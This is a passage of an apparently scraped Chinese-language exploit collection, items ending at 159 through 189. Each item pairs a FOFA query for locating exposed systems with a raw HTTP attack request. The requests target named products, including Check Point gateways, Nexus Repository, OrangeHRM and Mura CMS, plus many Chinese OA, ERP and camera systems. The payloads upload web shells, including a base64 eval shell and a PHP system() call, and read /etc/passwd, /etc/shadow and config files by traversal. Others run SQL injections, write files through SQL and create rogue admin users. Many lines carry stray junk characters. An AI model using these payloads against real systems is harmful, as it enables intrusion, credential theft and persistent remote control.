9 \7 l$ {% h9 o2 h<soap:Body>
" m( v; w( c2 B$ F: H  T; a; ^) {<jobUpload xmlns="http://rainier">
& h, h* r* o% M) z7 y/ C<vcode>1</vcode>
* y4 F7 U/ N1 f; e" R<subFolder></subFolder>
2 A' S. W) B, j1 ~2 d1 l# X( K; B<fileName>abcrce.asmx</fileName>
% q  r/ t& _! M$ f5 ~1 |5 D<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
8 C0 B; o5 B; g</jobUpload>
" V" B$ d# s* P% D. b0 d</soap:Body>
</soap:Envelope>


/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

0 h, o. @! c5 N! h
160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
5 A- u  l" I  X9 _" uFOFA：title="Nexus Repository Manager"
4 w2 `! y! y8 H( R3 tGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
- E0 ~1 A0 J# z* M( Z" _User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
3 h/ L$ k1 L  m6 [Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
4 Y/ W: s) t9 B5 z! O/ |/ K6 a, S& J0 B

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
+ a- R# u8 D8 n7 e第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
& p% U& W/ ^+ v) P+ {4 ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
/ n/ c9 I3 I) C4 M; K4 q3 y6 L. zConnection: close
Content-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

% {3 I$ O; Q' Y$ @  ?' ]" t<?xml version="1.0" encoding="utf-8"?>
% \. E3 A3 N# x<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
- Y# T" W: s$ n2 x4 Z! {2 h  @2 Nxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
! f; e6 a6 h4 Z, M<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
& u2 c7 @# g3 S2 e  T+ p<tag>3</tag>
</UploadResume>
& Q# ?) l/ u: M( ?</soap:Body>
</soap:Envelope>

, t" ]$ U: q, ^1 V( C) `1 H1 }
# Z8 e7 }5 T' V( T1 ~2 F1 @" ohttp://x.x.x.x/dizxdell.aspx

' t" Z4 |" I( ^% Q+ j% V# F" L162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
0 a* u3 @( [: R5 u4 SFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
! X' |* e" g4 L8 L" bHost: x.x.x.x
3 l2 t2 N. f) @7 u$ PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
/ ~7 q; p% ?; `4 X0 P" o# |' nConnection: close
Content-Length: 583
2 _& h8 H; z  m" ?Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
7 F% N* k7 n) y8 E' x! G& hAccept-Encoding: gzip

. p" [! h( [# c$ u3 w8 V------WebKitFormBoundaryeegvclmyurlotuey
1 @7 Q" z7 j  Q( _7 {Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
& A  ~% _+ Y4 qContent-Type: application/octet-stream
/ C- c- G/ {  ~+ V& i& A! |& o
7 @9 e1 @( O  Q. B) `<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

, N# V6 |9 g% g. R+ V0 {1 Eupload
------WebKitFormBoundaryeegvclmyurlotuey
5 E3 r- F* l  @  S/ s* Q1 E. o: ~Content-Disposition: form-data; name="responderId"
3 T; x6 A8 c) S9 K4 N0 ~
ResourceNewResponder
, X0 O/ E  g/ \% [. \' o! X------WebKitFormBoundaryeegvclmyurlotuey
3 i, s8 Z$ [: q4 S2 @Content-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
* \  _7 S  ?7 S' x9 [
: [: u5 W6 O2 A& {: b' U% k
http://x.x.x.x/opt/resources/kjuhitjgk.aspx
, d1 P  |5 @3 }
+ W3 [' `& A3 y# d; Y3 ^163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
9 {- ~4 K* l  A. ]( W: Y1 ~9 u/ A5 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
$ R2 a& p: d9 T  O" u( Q% `: O" oConnection: close
- S# v. B5 h$ E4 |6 S0 h( Z: v4 dContent-Length: 293
Accept: */*
6 ]8 a# q0 I1 D$ v$ b5 E. ZAccept-Encoding: gzip, deflate
4 }$ T' B$ x" |8 C+ m( uAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
: R5 g- @; h! H% Y
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

5 f8 ~: V* Y% {5 u3 |1.php
6 O2 Y3 L9 F  D------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
3 D0 i8 z( a0 H4 jContent-Type: image/jpeg
9 ?8 z/ x2 \, E  p" o! Q
rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
+ P6 Y/ [* E) G3 t" e0 R; Y
6 E+ `1 y+ @' {  W; L' M
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
6 e( t2 P' i- x( _8 CHost: x.x.x.x
& h7 U. E+ E' b& g4 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
: P. z9 Y% M- i6 `% v& yAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
  \9 g" G* P$ f* D- UContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
; h6 E" S# i7 H' |
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
4 M. R, e% A  J  {
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
6 n' @; n0 R4 Y, D; t------dqdaieopnozbkapjacdbdthlvtlyl--
: w! o9 x* c: ]- j

http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
5 `2 Q7 R7 i  S  N! _URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
" b6 r$ @% r3 i8 k3 ?POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
/ R& }2 q. P5 b! X$ }7 W; n4 Y* dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
1 m/ z& g* \. F1 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* l4 Z, q; w2 ~/ EAccept-Encoding: gzip, deflate
5 |- U0 W0 s; `( c! uAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
1 }* o0 {$ Z6 x6 J4 P- WContent-Type: application/x-www-form-urlencoded
Content-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


5 J' j2 ^* Q1 b; w9 A167. 精益价值管理系统 DownLoad.aspx任意文件读取
- @( U% M2 V+ ?+ OFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
, m5 i/ }# Z0 Q9 D, B- \GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
0 y+ _3 H- N# UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
. ~+ g  F' Y( l; J  ]Accept: */*
Connection: keep-alive

9 _% x6 ]: D/ A1 R$ x
5 n5 W& [3 S7 z4 h8 O  Y4 _168. 宏景EHR OutputCode 任意文件读取
" ?+ K8 M4 I' Z0 C1 KFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
0 X/ K8 j5 s! h5 g4 W  EContent-Type: application/x-www-form-urlencoded
) z; T9 j6 f6 n4 fConnection: close

% a* c6 Y4 L% d: h' `8 u/ a/ v
7 S6 {5 e3 v- y5 h, E
169. 宏景EHR downlawbase SQL注入
" \: T6 o" b) O/ Y& xFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
- `( l+ M8 z/ vConnection: close
/ f1 M& L" C, A# t4 \% A


5 k% k, f  `% G' y* p) W7 \. h170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
; m2 |9 D) H% I6 Q; ^POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
- T- t. x6 u2 a- lUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml

  B/ {6 |2 m/ B+ g
8 i2 w- U( [; z171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
9 r5 I$ d2 Q, h* L; e: ~2 ]0 mGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
  K! y+ h5 y  \Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 m4 @% H6 x5 ]; f" z' o" r9 r: VAccept-Encoding: gzip, deflate
; N# \3 F- L( N/ dConnection: close

9 \& X6 x7 A8 D. R# k+ H
  v6 K- C- n& q% b0 h
! y; Z8 F5 F, I# H172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
$ \9 }2 e1 c. P% J. H0 v0 c7 kGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
' [3 g* ]+ q$ u5 BAccept: */*
8 ]) Y7 W5 L' s# vConnection: keep-alive
* I8 y6 k8 R- `4 M( j' n


173. Check Point 安全网关任意文件读取
5 M7 E9 `" ^& u" CCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
& c+ N- h3 Y' \( q+ Y4 u3 LHost: your-ip
Content-Type: application/x-www-form-urlencoded
+ N7 R1 R9 T/ C; W3 O
! b7 t3 W% B# {+ m6 saCSHELL/../../../../../../../etc/shadow
. g, g! T2 {/ [
: |1 z4 g$ j) }6 ?, V5 S
3 t% n& c7 X; a+ M# z# e
5 w  X% Q6 z+ T1 v2 u# D174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
$ |5 x! j6 l$ i; C2 S+ L  zGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
9 b; w# \2 O) a/ {Host: your-ip
! O  s8 P0 p' a+ ]  L2 M+ O3 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close



175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
# ~2 t  q1 X% N# R8 b. v  KFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
6 I$ G( m1 P7 I! E" D6 sConnection: close
Upgrade-Insecure-Requests: 1
# r. m8 V$ H2 E4 T# v+ a

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
$ X1 M. s2 R3 c* `( }8 KPOST /manager/teletext/material/rewrite.php HTTP/1.1
7 u9 k; K# X( [9 YHost: your-ip
4 E+ B) r( x$ N; G/ BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
) |: Z, ]& ^+ M, M4 b" mContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
8 s1 A7 o  t+ e% r5 ^( {2 P7 C$ a" SConnection: close
9 @& y" }3 |$ {. h8 M
( x8 K8 D7 }& q1 U------WebKitFormBoundaryOKldnDPT
9 i: u2 S1 J8 k  c* |+ [* y/ OContent-Disposition: form-data; name="tmp_name"; filename="test.php"
0 F( b8 ]6 F6 G9 b9 M# b( KContent-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
8 ^* [1 v" E1 a1 C! [------WebKitFormBoundaryOKldnDPT
/ F' J* L4 d2 V- ~7 t4 L7 rContent-Disposition: form-data; name="uploadtime"
1 }* w# f& w( f& A9 m
9 C/ P, |& v4 i
------WebKitFormBoundaryOKldnDPT--

3 g* {5 x+ c; u( a9 o$ O$ Y

177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
+ M! v' k# B! y# H  }7 ~( }/ K" j/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
% _# i7 P  ?9 c0 z; M+ v/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
8 ?9 ^: P3 o0 A7 B$ `& l/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
- j* k/ A2 j/ v2 j  d; g/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
6 y; K7 f0 }: D/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
* N& Q, n- ?8 i/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
; P* @) m8 s6 i, \' k! N5 t. C/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
, h( p: O7 W5 l: p8 p7 MPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
3 }, }$ P8 ]# c$ X9 a' _; cHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
# T2 h$ A/ G1 g% G! mContent-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
% P! H/ U4 n4 w2 w. O8 l-----------------aqutkea7vvanpqy3rh2l
% ~( ~& _% u6 ?$ i) Y  r, XContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

0 B; a7 x& D5 z12234
6 \7 u7 l* ?# B1 z9 _9 L/ ~-----------------aqutkea7vvanpqy3rh2l--

* m+ I% k6 l0 w. q, x
( }, S; V6 ]( u4 gGET /imc/primepush/%2e%2e/flex/12234.txt
% b$ Z0 k( u4 ~/ F' ~

: ]9 {2 x+ W1 G179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
  d+ _; v; z8 V/ tContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
; j! e/ c# v( N1 f9 G
( A$ S6 @* v3 k6 O3 V! S- d3 rpath=../log4net.config&Name=
8 [# b- w, i+ _3 a$ l
( v) Y# z2 W1 T, v, w$ m  J
! O. R4 Y* }" A" T! @0 R180. 帮管客 CRM jiliyu SQL注入
5 @, o) b: D0 _: gFOFA：app="帮管客-CRM"
4 H# x( h. T6 q/ o' EGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
1 g4 ]0 t4 k; K  IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
8 G$ R' _& ]4 g" D( X' LAccept-Language: zh-CN,zh;q=0.9
Connection: close
, c/ g) J7 O! l6 w$ S' s  L1 n/ s

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
+ B  t0 n& M' l1 T) ~) w! DFOFA："PDCA/js/_publicCom.js"
. G5 {. G8 _4 {7 }3 qPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
, n* j3 h2 o# `' _. L7 zHost: your-ip
( s. @* Q5 r" k0 f" M1 j8 m, r3 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
4 v5 R8 w1 q4 |$ X0 z" D, eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# R, b/ {$ u7 [1 t5 u. NAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded


action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
6 x$ O# G3 {. T
3 D  j8 g  Q1 F! X' i
) Q& Z+ j# l- O0 f. b182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
5 I  P, X7 H, x' H8 g. Y7 M  kFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
% k5 Q" t* t. S! x3 ^/ n7 JHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 I" }. v2 S* t; G# h5 u4 fAccept-Encoding: gzip, deflate, br
, e0 \1 }) B* B. [  v# ^. ~Accept-Language: zh-CN,zh;q=0.9
Connection: close
  u8 ~# q  H2 @5 Z$ |. Y- OContent-Type: application/x-www-form-urlencoded

' t3 ~9 j- O+ g
( u4 @7 l/ ], x8 s, uusername=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
* X% y* L; }8 {, e% ZFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
; Y* ?9 d5 D. VGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
! D; n/ c. ~, B1 a+ j5 |$ k1 eHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
! y7 Q6 S% C3 hAccept-Charset: utf-8
$ N$ g  G- B( o2 X  M: o9 M% y4 |Accept-Encoding: gzip, deflate
Connection: close

  B5 E  c, `  j; @" B8 n0 C
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
* W* t; m0 S* ^0 X5 k( V. ^. ~FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
/ [$ C- J7 V& E, g+ oAccept: application/xml, text/xml, */*; q=0.01
+ x9 C! o$ Z! M; W' {# ZContent-Type: text/xml; charset=utf-8
0 J9 M" a9 A% z! @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! v  }* o% ]6 r" ?6 D9 @# ZX-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
' |" d# y0 ]: U- Uversion < 7.0.5.1
$ h$ B0 r% F6 L: G; b! D9 qFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
' j$ x1 q; ~( GHost: host
% A6 O7 F# u4 h
, }- o$ ^% X$ M2 }7 _4 y. Q& E0 D# L
186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
- Z$ [  ]( h2 d  mFOFA：title=="DataCube3"
5 U9 [8 g) r0 W$ g% L1 xPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
/ `- M4 X  b2 V; CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
9 y6 Q+ o+ R; L3 m" R! TConnection: close
  V( {* K( ~/ ?. SContent-Type: application/x-www-form-urlencoded
+ g3 Z, `; r& ]/ C8 X
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

  H3 e4 [5 Q+ R+ X. j5 S
187. Mura CMS processAsyncObject SQL注入
; F9 e. e. ]. F- I5 e0 X/ dCVE-2024-32640
FOFA："Mura CMS"
/ O/ x" C3 ~; }! K& l5 Q4 fPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
( [, C- o+ t. o- aHost: your-ip
5 H6 k7 b' `  I/ |: u7 v3 a0 qContent-Type: application/x-www-form-urlencoded
5 I, d* k% Z1 o# }+ f
; K% W1 \1 G6 i1 \2 r% P/ x/ Z
% |  h" @  I" w9 n5 u2 J& Z" nobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


188. 叁体-佳会视频会议 attachment 任意文件读取
  w: Q- L6 r& r; C  uversion <= 3.9.7
' b4 V; `& a) ~+ l4 }# q1 }FOFA：body="/system/get_rtc_user_defined_info?site_id"
  M' B& P, s, Q$ p* d9 WGET /attachment?file=/etc/passwd HTTP/1.1
1 Y5 j; n. C0 h3 `0 x  ?$ `Host: your-ip
& R: u; ^# g7 F' I  E. K9 e8 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) Y' Y8 [$ X! h# J& YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: u& [/ G; R9 \  _- C1 J' V8 dAccept-Encoding: gzip, deflate
9 g9 U& |9 I* k% U8 k- t# kAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

. l' a$ d4 s5 A) z
+ b' g' V' B& `  s% ^3 L) I1 {% _189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
7 A& v# K" \: ~( zHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
